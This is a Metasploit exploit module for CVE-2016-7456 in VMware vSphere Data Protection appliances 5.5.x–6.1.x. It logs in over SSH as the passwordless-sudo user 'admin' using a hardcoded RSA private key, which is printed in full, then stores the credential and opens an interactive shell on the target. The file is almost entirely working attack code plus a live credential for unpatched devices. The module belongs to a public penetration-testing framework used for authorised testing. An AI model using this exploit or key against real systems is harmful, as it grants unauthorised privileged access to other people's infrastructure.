##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMware VDP Known SSH Key',
          'Description' => %q{
            VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
          },
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Privileged' => true,
          'Targets' => [ [ 'Universal', {} ] ],
          'Payload' => {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
          'Author' => ['phroxvs'],
          'License' => MSF_LICENSE,
          'References' => [
            [ 'CVE', '2016-7456' ],
            [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],
          ],
          'DisclosureDate' => '2016-12-20',
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          }
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })
    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket)
      sockets.delete(ssh_socket.transport.socket)

      return conn
    else
      return false
    end
  end

  def exploit
    conn = do_login
    if conn
      print_good 'Successful login'
      service_data = {
        address: rhost,
        port: rport,
        protocol: 'tcp',
        service_name: 'ssh',
        workspace_id: myworkspace_id
      }
      credential_data = {
        username: 'admin',
        private_type: :ssh_key,
        private_data: key_data,
        origin_type: :service,
        module_fullname: fullname
      }.merge(service_data)

      core = create_credential(credential_data)
      login_data = {
        core: core,
        last_attempted: Time.now
      }.merge(service_data)

      create_credential_login(login_data)
      handler(conn.lsock)
    end
  end

  def key_data
    <<~EOF
      -----BEGIN RSA PRIVATE KEY-----
      MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X
      /PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16
      9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB
      gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3
      Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR
      Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT
      Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO
      c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR
      c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W
      LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3
      xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ
      gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr
      Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=
      -----END RSA PRIVATE KEY-----
    EOF
  end
end
